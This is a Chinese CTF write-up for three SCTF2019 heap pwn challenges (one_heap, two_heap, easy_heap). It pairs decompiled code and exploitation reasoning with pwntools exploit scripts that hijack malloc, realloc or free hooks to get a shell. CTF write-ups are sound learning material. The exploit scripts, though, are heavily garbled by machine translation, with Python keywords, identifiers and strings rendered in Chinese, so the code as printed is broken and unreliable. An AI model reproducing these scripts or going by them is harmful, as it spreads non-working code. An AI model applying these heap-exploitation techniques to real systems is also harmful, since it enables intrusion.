前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SCTF2019pwn题解

SCTF2019pwn题解

原创
作者头像
迅达集团
修改2019-06-27 18:01:49
1.1K0
修改2019-06-27 18:01:49
举报
文章被收录于专栏:工作专用1

题目都是堆的题,第一题玄学爆破1/4096,做完校队师傅和我说他1/200的几率都没出来,果然比赛看人脸黑不黑。下面是详细的题解。

one_heap

题目看起来并不难,逻辑很简单,并且给了libc的是2.27的所以自然的联想到又tcache,接下来进行详细的分析。

静态分析

主要

逻辑很简单这里我进行了一个函数名的改变看起来清楚一点

代码语言:javascript
复制
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int i; // eax

  flash();
  while ( 1 )
  {
    for ( i = menu(); i != 1; i = menu() )
    {
      if ( i != 2 )
        exit(0);
      delete();
    }
    add(a1, a2);
  }
}
菜单

简单的选择逻辑没有什么问题

代码语言:javascript
复制
__int64 sub_C70()
{
  unsigned __int64 v0; // ST08_8
  __int64 result; // rax
  unsigned __int64 v2; // rt1

  v0 = __readfsqword(0x28u);
  puts("1. new");
  puts("2. delete");
  _printf_chk(1LL, "Your choice:");
  v2 = __readfsqword(0x28u);
  result = v2 ^ v0;
  if ( v2 == v0 )
    result = sub_C10();
  return result;
删除

这里是主要的问题点,存在一个uaf的漏洞但是同样对free的次数存在限制总共只能免费4次,然后自由的时候是没有idx选择,每次ptr位置只有一个堆块的地址。

代码语言:javascript
复制
unsigned __int64 sub_D90()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-10h]

  v1 = __readfsqword(0x28u);
  if ( !dword_202014 )
    exit(0);
  free(ptr);
  puts("Done!");
  --dword_202014;
  return __readfsqword(0x28u) ^ v1;
}

这里任意的malloc的大小存在限制,并且malloc的的数量也是固定的,然后的malloc后可以读入堆。

代码语言:javascript
复制
unsigned __int64 add()
{
  unsigned int v0; // eax
  size_t v1; // rbx
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( !dword_202010 )
LABEL_5:
    exit(0);
  _printf_chk(1LL, "Input the size:");
  v0 = sub_C10(1LL, "Input the size:");
  v1 = (signed int)v0;
  if ( v0 > 0x7F )
  {
    puts("Invalid size!");
    goto LABEL_5;
  }
  _printf_chk(1LL, "Input the content:");
  ptr = malloc(v1);
  sub_B70(ptr, v1);
  puts("Done!");
  --dword_202010;
  return __readfsqword(0x28u) ^ v3;
}

思路分析

  1. 因为存在tcache所以这里双免费利用起来会比较顺手,但是存在一个问题如何去泄漏。这里参考了HITCON2018的baby_tcache的泄漏思路,是利用覆盖stdout的write_buf实现的。
  2. 还有个问题如何能染tcache被malloc的到那个位置,这里我采用的是利用堆和代码段偏移来爆破几率大概是在1/4096,这个几率真的看脸了......
  3. 再去改写malloc_hook,这里会发现3个一个都没有办法用,所以只能用的realloc的特技来调整栈去getshell。

这里调试可以吧本地随机化关了,如果预期解是这样的话..我就真的没话说了,如果这是非预期..(对不住了出题人..

EXP:

代码语言:javascript
复制
来自 pwn  import * 
context 。log_level  =  “debug” 
p  =  process (“./ one_heap” )
a  =  ELF (“./libc-2.27.so” )#
p = remote(“47.104.89.129”,10001)
gdb 。attach (p )
def  new (size ,content ):
    p 。recvuntil (“你的选择:” )
    p 。sendline (“1” )
    p 。recvuntil(“输入大小:” )
    p 。sendline (str (size ))
    p 。recvuntil (“输入内容:” )
    p 。sendline (content )
def  remove ():
    p 。recvuntil (“你的选择:” )
    p 。sendline (“2” )
def  new0 (size ,content ):
    p 。recvuntil (“你的选择:” )
    p 。sendline (“1” )
    p 。recvuntil (“输入大小:” )
    p 。sendline (str (size ))
    p 。recvuntil (“输入内容:” )
    p 。send (content )
new (0x60 ,“aaa” )
remove ()
remove ()
new (0x60 ,“ \ x20 \ x60 ” )
new (0x60 ,“b” )
raw_input ()
new (0x60 ,“ \ x60 \ x07 ” )
pay  =  p64 (0xfbad1880 ) +  p64 (0 )* 3  +  “ \ x00 ” 
new (0x60 ,pay )
libc_addr  =  u64 (p 。recvuntil (“ \ x7f ” )[ 8 :8 + 6 ] 。ljust (8 ,“ \ x00 ” ))- 0x3ed8b0 
print  hex (libc_addr )
malloc_hook  =  a 。符号[ “__malloc_hook” ] + libc_addr 
relloc_hook  =  a 。符号[ “__realloc_hook” ] + libc_addr 
print  hex (malloc_hook )
one  =  0x4f2c5 + libc_addr

打印 一个
新的(为0x50 ,“A” )
除去()
删除()
新(为0x50 ,P64 (relloc_hook ))
新(为0x50 ,“花生” )
新的(为0x50 ,P64 (一个)+ P64 (libc_addr + 一个。符号[ 'realloc' ] + 0xe ))
打印 hex (one )
new(0x30 ,“b” )
p 。互动()

two_heap

这个题刚开始感觉是和one_heap相同,可能也是爆破,但是发现了大小存在限制需要绕过所以就不想one_heap了,这个尺寸限制导致我们只能利用3个左右的堆块。

静态分析

主要

这里我也标出了函数,这个函数主要的作用是在泄漏上,因为printf_chk可以做到用%一去泄漏,具体可以参考BCTF和HCTF的题。

代码语言:javascript
复制
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  __int64 v4; // [rsp+1Ch] [rbp-1Ch]
  int v5; // [rsp+24h] [rbp-14h]
  unsigned __int64 v6; // [rsp+28h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  sub_12D0(a1, a2, a3);
  v4 = 0LL;
  v5 = 0;
  puts("Welcome to SCTF:");
  leak(&v4, 11);
  __printf_chk(1LL, &v4, 0xFFFFFFFFLL, 0xFFFFFFFFLL, 0xFFFFFFFFLL);
  while ( 1 )
  {
    while ( 1 )
    {
      v3 = menu();
      if ( v3 != 1 )
        break;
      add();
    }
    if ( v3 != 2 )
    {
      puts("exit.");
      exit(0);
    }
    del();
  }
}

主要是增加了堆块,并且进行了一个位运算使得末尾成为了一个为0x0或者是0x8中的数,当然这里是可以绕过的,他没有检查堆块大小的大小所以可以魔改操作一波

代码语言:javascript
复制
unsigned __int64 sub_14A0()
{
  FILE **v0; // rbp
  __int64 v1; // rbx
  __int64 **v2; // rax
  int v3; // er12
  __int64 *v4; // rbp
  __int64 **v5; // rbx
  unsigned __int64 v7; // [rsp+8h] [rbp-30h]

  v0 = (FILE **)&off_4020;
  v1 = 0LL;
  v7 = __readfsqword(0x28u);
  v2 = &off_4020;
  while ( v2[1] )
  {
    ++v1;
    v2 += 2;
    if ( v1 == 8 )
      goto LABEL_4;
  }
  puts("Input the size:");
  v3 = sub_13E0("Input the size:") & 0xFFFFFFF8;
  if ( v3 > 128 )
    goto LABEL_4;
  do
  {
    if ( *(_DWORD *)v0 == v3 )
    {
      puts("I don't like the same size!");
      exit(0);
    }
    v0 += 2;
  }
  while ( &stdout != v0 );
  v4 = (__int64 *)malloc(v3);
  if ( !v4 )
LABEL_4:
    exit(0);
  puts("Input the note:");
  v5 = &(&off_4020)[2 * v1];
  leak(v4, v3);
  *(_DWORD *)v5 = v3;
  v5[1] = v4;
  return __readfsqword(0x28u) ^ v7;
}
德尔

删除函数同样是没有对指针置0,漏洞很明显,就是利用起来比较困难了。这里检查了一下IDX是否符合要求。

代码语言:javascript
复制
void sub_15A0()
{
  __int64 v0; // rax
  unsigned __int64 v1; // [rsp+8h] [rbp-10h]

  v1 = __readfsqword(0x28u);
  puts("Input the index:");
  v0 = (signed int)sub_13E0("Input the index:");
  if ( (unsigned __int64)(signed int)v0 > 7 )
    exit(0);
  if ( __readfsqword(0x28u) == v1 )
    free((&off_4020)[2 * v0 + 1]);
}

思路分析

  1. 首先因为存在printf_chk可以用一%泄漏去,这里有个小技巧,当得到的是p字符的时候用0去替换掉。然后就可以计算出地址,有了泄漏的地址就容易的多了
  2. 有了泄漏利用malloc size = 0x1,0x8,0x10,0x18来进行对size的绕过就可以利用了,说实话这个题比一简单..

感觉这个题目出的可以,都是知识盲区现找现查,学到很多。

EXP:

代码语言:javascript
复制
来自 pwn  import * 
context 。log_level  =  “debug” 
#p = process(“./ two_heap”,env = {“LD_PRELOAD”:“。/ libc-2.26.so”})
a  =  ELF (“./ libc-2.26.so” )
p  =  remote (“47.104.89.129” ,10002 )
#gdb.attach(p)#,“b * 0x5555555554a0”)
def  new (size ,content ):
    p 。recvuntil (“你的选择:” )
    p 。发送线(“1”
    recvuntil (“输入大小:” )
    p 。sendline (str (size ))
    p 。recvuntil (“输入注释:” )
    p 。sendline (content )
def  remove (idx ):
    p 。recvuntil (“你的选择:” )
    p 。sendline (“2” )
    p 。recvuntil (“输入索引:” )
    p 。sendline (str (idx ))
def  new0 (size ,content ):
    p 。recvuntil (“你的选择:” )
    p 。sendline (“1” )
    p 。recvuntil (“输入大小:” )
    p 。sendline (str (size ))
    p 。recvuntil (“输入注释:” )
    p 。发送(内容)
p 。recvuntil(“欢迎来到SCTF:” )
p 。sendline (“%a” * 5 )
p 。recvuntil (“0x0p + 00x0p + 00x0.0” )
lib_addr  =  INT (p 。recvuntil (“P-10220x” ,降= 真)+ “0” ,16 ) -  一个。符号[ “_IO_2_1_stdout_” ] 
free_hook  =  a 。符号[ “__free_hook” ]+ lib_addr 
system  =  lib_addr + a 。symbols [ “system” ] 
print  hex (lib_addr )
new0 (0x1 ,“” )
remove (0 )
remove (0 )
raw_input ()
new0 (0x8 ,p64 (free_hook ))
new0 (0x10 ,“ \ n ” )


new (24 ,p64 (system ))
new (0x60 ,“/ bin / sh \ x00 ” )
remove (4 )

p 。互动()

easy_heap

这个题主要是在offbynull上,题目如果预期解是一个橘子的话这个题就复杂了很多但是其实用unlink解就容易多了。

静态分析

主要

主要实现了功能

代码语言:javascript
复制
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  sub_CD0();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      _isoc99_scanf(&unk_12A8, &v3);
      if ( v3 != 2 )
        break;
      del();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        fill();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice!");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
  }
}
德尔

正常的一个删除函数

代码语言:javascript
复制
int del()
{
  void *v0; // rax
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  printf("Index: ");
  v2 = sub_EE5();
  if ( v2 <= 0xF && qword_202060[2 * v2 + 1] )
  {
    free(qword_202060[2 * v2 + 1]);
    qword_202060[2 * v2 + 1] = 0LL;
    qword_202060[2 * v2] = 0LL;
    v0 = &unk_202040;
    --unk_202040;
  }
  else
  {
    LODWORD(v0) = puts("Invalid index.");
  }
  return (signed int)v0;

这里存在一个off by null的漏洞是可以利用的

代码语言:javascript
复制
int fill()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]

  printf("Index: ");
  v1 = sub_EE5();
  if ( v1 > 0xF || !qword_202060[2 * v1 + 1] )
    return puts("Invalid index.");
  printf("Content: ");
  return input((__int64)qword_202060[2 * v1 + 1], (unsigned __int64)qword_202060[2 * v1]);
}

思路分析

  1. 进行一个unlink控制全局变量,这题还有别的解法就是off by null来unlink或者largebin attack去控制和写入mmap的内存
  2. 写入mmap内存为shellcode然后利用fastbin attack改写malloc_hook

这里的方法细节是在bss段构造一个fakechunk然后自由进入unsortedbin会有libc地址残留在指针处,然后改指针的低位,就可以malloc到需要的地方,然后改malloc_hook为一就可以了。

EXP

代码语言:javascript
复制
来自 pwn  import * 
context 。arch  =  “amd64” 
上下文。log_level  =  “debug” 
#p = process(“./ easy_heap”)#,env = {“LD_PRELOAD”:“。/ libc.so.6”})
a  =  ELF (“./ easy_heap” )
e  =  a 。libc的
打印 十六进制(É 。符号[ “放” ])
p  =  远程(“132.232.100.67” ,10004 )
#gdb.attach(P)#, “B * 0x5555555554a0”
 (大小):
    p 。recvuntil (“>>” )
    p 。sendline (“1” )
    p 。recvuntil (“大小:” )
    p 。sendline (str (size ))
def  remove (idx ):
    p 。recvuntil (“>>” )
    p 。sendline (“2” )
    p 。recvuntil (“索引:” )
    p 。sendline (str (idx ))
def  edit (idx ,content ):
    p 。recvuntil (“>>” )
    p 。sendline (“3” )
    p 。recvuntil (“索引:” )
    p 。sendline (str (idx ))
    p 。recvuntil (“内容:” )
    p 。sendline (内容)
p 。recvuntil (“MMAP:” )
mmap_addr  =  INT (p 。recvuntil (“ \ n ” ,降= 真),16 )
打印 进制(mmap_addr )
添加(0xF8的)
p 。recvuntil (“地址0X” )
地址 =  INT (p 。recvline () 。条(),16 ) -  0x202068 
添加(0xf8 )
add (0x20 )
edit (0 ,p64 (0 )+ p64 (0xf1 )+ p64 (addr + 0x202068 - 0x18 )+ p64 (addr + 0x202068 - 0x10 )+ “a” * 0xd0 + p64 (0xf0 ))
删除(1 )
编辑(0 ,p64(0 )* 2 + P64 (0xF8的)+ P64 (地址+ 0x202078 )+ P64 (0x140 )+ P64 (mmap_addr ))
编辑(1 ,ASM (shellcraft 。SH ()))
bss_addr  =  0x202040 
编辑(0 ,P64 (addr + 0x202090 )+ p64 (0x20 )+ p64 (0x91 )+ p64 (0 )* 17 + p64 (0x21 )* 5 )
删除(1 )
编辑(0 ,p64 (0 )* 3 + p64 (0x100 )+ ' \ x10 ' )
编辑(3 ,p64)(mmap_addr ))
add (0x20 )
p。互动()

总结

题目感觉还是挺有质量的,就是怪自己手速太慢,没拿到几个血,我TCL,WSL。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • one_heap
    • 静态分析
      • 主要
      • 菜单
      • 删除
    • 思路分析
      • EXP:
      • two_heap
        • 静态分析
          • 主要
          • 德尔
        • 思路分析
          • EXP:
          • easy_heap
            • 静态分析
              • 主要
              • 德尔
            • 思路分析
              • EXP
              • 总结
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档